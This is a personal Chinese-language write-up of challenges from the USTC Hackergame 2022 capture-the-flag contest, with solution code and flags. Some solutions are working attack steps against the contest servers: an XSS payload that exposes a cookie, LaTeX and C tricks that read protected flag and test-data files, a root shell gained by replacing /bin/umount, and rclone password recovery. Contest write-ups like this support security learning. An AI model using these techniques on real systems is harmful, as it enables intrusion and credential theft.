萌新第一次参加 CTF 比赛,应该也是最后一次参加这类比赛了,正好排在第 123 名,挺好的数字,试着写写 Write UP 吧!

官方 Write UP 在:https://github.com/USTC-Hackergame/hackergame2022-writeups

Write UP

签到

题目打开是一个网页,要求在2秒、1秒、0.1、0.0秒的时间限制内,在网页的四个手写框内分别写上"2"、“0”、“2”、“2"几个字符,前两个字符还有可能在限制的时间内完成,最后两个字符根本不可能在给定时间内写出来,所以直接右键 View Source ,看看网页的 JavaScript 代码,发现这几行:

submit(event) {
    let result = "";
    for (let digitIndex = 0; digitIndex < 4; digitIndex++) {
        const digit = this.digits[digitIndex];
        result = result + digit.result;
    }
    window.location = "?result=" + result;
},

所以只需要在 URL 加上 result=2022 参数即可:http://202.38.93.111:12022/?result=2022

得到Flag:flag{HappyHacking2022-9e5a1f7364}

猫咪问答喵

只回答出了3道题:

  1. 中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?

    Google 搜索 USTC NEBULA,可以找到这个页面:https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm,其中有这么一段话:

    中国科学技术大学“星云战队(Nebula)”成立于2017年3月

    所以答案就是 2017-03

  2. 2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?

    在 LUG 官网找到软件自由日活动链接:https://lug.ustc.edu.cn/wiki/lug/events/sfd/,里面可以下载到每位演讲者的 slide,找到对应的 slide 链接,找到对应页面,就可以找到题目中所说的 KDE 程序名字 Kdenlive

  3. 22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?

    Google 搜索 Windows 2000 firefox,找到 https://support.mozilla.org/bm/questions/1052888,里面有一句话:

    Firefox 12.0 was the last version of Firefox that worked on Windows 2000.

    得到答案:12

得到答对 3 题的 Flag:flag{meowexammeow_772b498346fe0925_686d771898}

家目录里的秘密

将题目文件下载下来,解压之,得到一个文件夹,用 VSCODE 打开,直接搜索 flag

即可得到第一个 Flag:flag{finding_everything_through_vscode_config_file_932rjdakd}

并找到了 rclone.conf 文件,内容为:

[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ

盲猜 flag 藏在 pass 字段中,通过 Google 找到一个 Golang 程序用于还原 rclone 的 pass,直接打开 https://play.golang.org/p/IcRYDip3PnE,将 pass 字段的内容粘贴进去并运行,即可得到第二个 Flag:flag{get_rclone_password_from_config!_2oi3dz1}

HeiLang

来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的 | 运算,升级为了更加先进的语法,用 A[x | y | z] = t 来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t

作为一个编程爱好者,我觉得实在是太酷了,很符合我对未来编程语言的想象,科技并带着趣味。

写一个 Python 程序将所有 A[x | y | z] = t 表达式替换为 A[x] = t; A[y] = t; A[z] = t ,然后运行即可得到 Flag:

data = '''a[1225 | 2381 | 2956 | 3380 | 3441 | 4073 | 4090 | 4439 | 5883 | 6253 | 7683 | 8231 | 9933] = 978
...这里省略...
a[92 | 377 | 384 | 493 | 1237 | 2479 | 4299 | 6702 | 6819 | 7761 | 7822 | 8777 | 8779] = 581
'''

import re

regex = r"(\d+)"

result = []
for line in data.split('\n'):
    if len(line) == 0:
        continue
    matches = re.finditer(regex, line, re.MULTILINE)
    line_nums = []
    for matchNum, match in enumerate(matches, start=1):
        line_nums.append(match.group(1))
    line_result = [f'a[{x}]' for x in line_nums[:-1]]
    line_result.append(line_nums[-1])
    result.append(' = '.join(line_result))

print('\n'.join(result))

得到 Flag 为:flag{6d9ad6e9a6268d96-5931633fd82184ae}

Xcaptcha

写代码,在规定时间内答出验证码并提交即可:

import requests
import re

regex = r"(\d+)\+(\d+)"

session = requests.Session()
session.get(r'http://202.38.93.111:10047/?token=<YOUR_TOKEN_HERE>')
resp = session.get("http://202.38.93.111:10047/xcaptcha")

payload = {}
matches = re.finditer(regex, resp.text, re.MULTILINE)
for matchNum, match in enumerate(matches, start=1):
    result = int(match.group(1)) + int(match.group(2))
    payload[f'captcha{matchNum}'] = result

x = session.post("http://202.38.93.111:10047/xcaptcha", data=payload)
print(x.text)

得到 Flag 为:flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_f93546617a}

旅行照片 2.0

查看图片 EXIF 信息,第一题就解决了,得到 Flag:flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}

$\LaTeX$ 机器人

想办法通过 $\LaTeX$ 语法读取 /flag1/flag2 两个文件即可,区别在于 /flag1 文件只有常规字符,而 /flag2 含有下划线和井号,所以需要对字符转义

读取 /flag1

\input{/flag1}

得到 Flag:flag{becAr3fu11dUd3bc60f27f02}

读取 /flag2

\catcode`\#=12 \catcode `\_=12 \input{/flag2}

得到 Flag:flag{latex_bec_0_m##es_co__#ol_7bb20f7d63}

Flag 的痕迹

URL 中加入 do=diff 参数即可:http://202.38.93.111:15004/doku.php?id=start&do=diff

Flag 为:flag{d1gandFInD_d0kuw1k1_unexpectEd_API}

安全的在线测评

提供了判题脚本,所以从判题脚本入手,看到测试数据保存在 ./data/static.out 中,所以直接 system("cat ./data/static.out") 即可得到第一个 Flag:

#include <stdlib.h>

int main() {
    system("cat ./data/static.out");
    return 0;
}

Flag 为:flag{the_compiler_is_my_eyes_bff9de2537}

线路板

题目文件下载下来是 Gerber 压缩包,随便找一个 Gerber Online Viewer,切换一下模式就能找到 Flag 啦:

Flag 自动机

题目下载下来是一个 exe 程序,但 “狠心夺取” 按钮只要鼠标移上去就会自动变换位置,所以得想办法点击到该按钮。

这题直接用 Cheat Engine + Ollydbg 搞定了,先想办法找到修改 “狠心夺取” 按钮位置的语句,然后 NOP 填充,这样就可以点击了,但是点击之后提示 “不是本机超级管理员”:

所以应该还有一些判断,所以用 Ollydbg 搜索了这个字符串对应的代码,发现有一个 je 的跳转,je 后则是成功获取 flag 的提示,所以在 Cheat Engine 里面把对应位置的 je 更改为 jne 即可得到 flag:

Flag 为:flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}

微积分计算小练习

考察 XSS ,题目给出了用于提交练习成绩的网站的后端代码,看到是使用一个 headless 浏览器访问页面,然后会先把 flag 放入页面的 cookie 里,之后通过 document.querySelector 找到对应的结果输出:

with webdriver.Chrome(options=options) as driver:
    ua = driver.execute_script('return navigator.userAgent')
    print(' I am using', ua)

    print('- Logining...')
    driver.get(LOGIN_URL)
    time.sleep(4)

    print(' Putting secret flag...')
    driver.execute_script(f'document.cookie="flag={FLAG}"')
    time.sleep(1)

    print('- Now browsing your quiz result...')
    driver.get(url)
    time.sleep(4)

    try:
        greeting = driver.execute_script(f"return document.querySelector('#greeting').textContent")
        score = driver.execute_script(f"return document.querySelector('#score').textContent")
    except selenium.common.exceptions.JavascriptException:
        print('JavaScript Error: Did you give me correct URL?')
        exit(1)

        print("OK. Now I know that:")
        print(greeting)
        print(score)

        print('- Thank you for joining my quiz!')

所以很简单,就是想办法让 #greeting#score 显示为 document.cookie 即可,那么就来看看分数页面的源代码:

const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);

document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";

看到本质上就是把 URL 中的 参数,base64decode 之后,替换内容,这里就可以构造XSS了:

<img src=a onerror='document.querySelector("#greeting").innerHTML = document.cookie'>:LGiki

base64encode 一下,得到:

PGltZyBzcmM9YSBvbmVycm9yPSdkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjZ3JlZXRpbmciKS5pbm5lckhUTUwgPSBkb2N1bWVudC5jb29raWUnPjpMR2lraQ==

所以最终的链接为:

http://202.38.93.111:10056/share?result=PGltZyBzcmM9YSBvbmVycm9yPSdkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjZ3JlZXRpbmciKS5pbm5lckhUTUwgPSBkb2N1bWVudC5jb29raWUnPjpMR2lraQ==

提交到提交练习成绩的网站上,得到 Flag:flag=flag{xS5_1OI_is_N0t_SOHARD_f8a6455171}

杯窗鹅影

这题是在 wine 下读文件,提交一个 exe 程序,能在 wine 下成功读取 /flag1 文件即可。

对 wine 没任何研究,也不知道怎么做,所以直接写了段 Golang:

package main

import (
	"fmt"
	"io/ioutil"
	"log"
)

func main() {
	data, err := ioutil.ReadFile("/flag1")
	if err != nil {
		log.Fatalln(err)
	}
	fmt.Println(string(data))
}

得到第一个 Flag:flag{Surprise_you_can_directory_traversal_1n_WINE_9945b3ea74}

第二问不会。

光与影

把网页所有的文件下载下来,是一个 WebGL 实现的网页,找到 shader 代码(fragment-shader.js 文件),把 304 行:

float tmin = min(min(min(min(t1, t2), t3), t4), t5);

改为:

float tmin = min(min(min(t1, t2), t3), t4);

再打开网页即可得到 Flag:flag{SDF-i3-FuN!}

片上系统

用 PulseView 可以解决第一题,这里就不细写了。

传达不到的文件

这一题的 flag 在 /chall/flag2 中,其中 /chall 的权限为 04111/flag 文件的权限为 0400,于是就得到了读不到、打不开的文件…

一开始就试着提权,但是一直没成功,后来在一次偶然中把系统中的 /bin/busybox 删掉了,发现 exit 的时候发现会报错:

/etc/init.d/rcS: line 24: umount: not found
/etc/init.d/rcS: line 25: umount: not found
/etc/init.d/rcS: line 28: poweroff: not found
can't run '/bin/sh': No such file or directory
can't run '/bin/sh': No such file or directory
can't run '/bin/sh': No such file or directory

所以在 exit 的时候会执行 umountpoweroff,那就可以通过这个提权,并获得 flag 啦!

/ $ rm /bin/umount
/ $ echo "/bin/sh" > /bin/umount
/ $ chmod +x /bin/umount
/ $ exit
/bin/sh: can't access tty; job control turned off
/ # id
uid=0 gid=0
/ # cat /flag2
flag{D0_n0t_O0o0pen_me__unles5_u_tr4aced_my_p4th_5017cad9a0}
/ # strings /chall | grep flag
flag{ptr4ce_m3_4nd_1_w1ll_4lways_b3_th3r3_f0r_u}
tmp_flag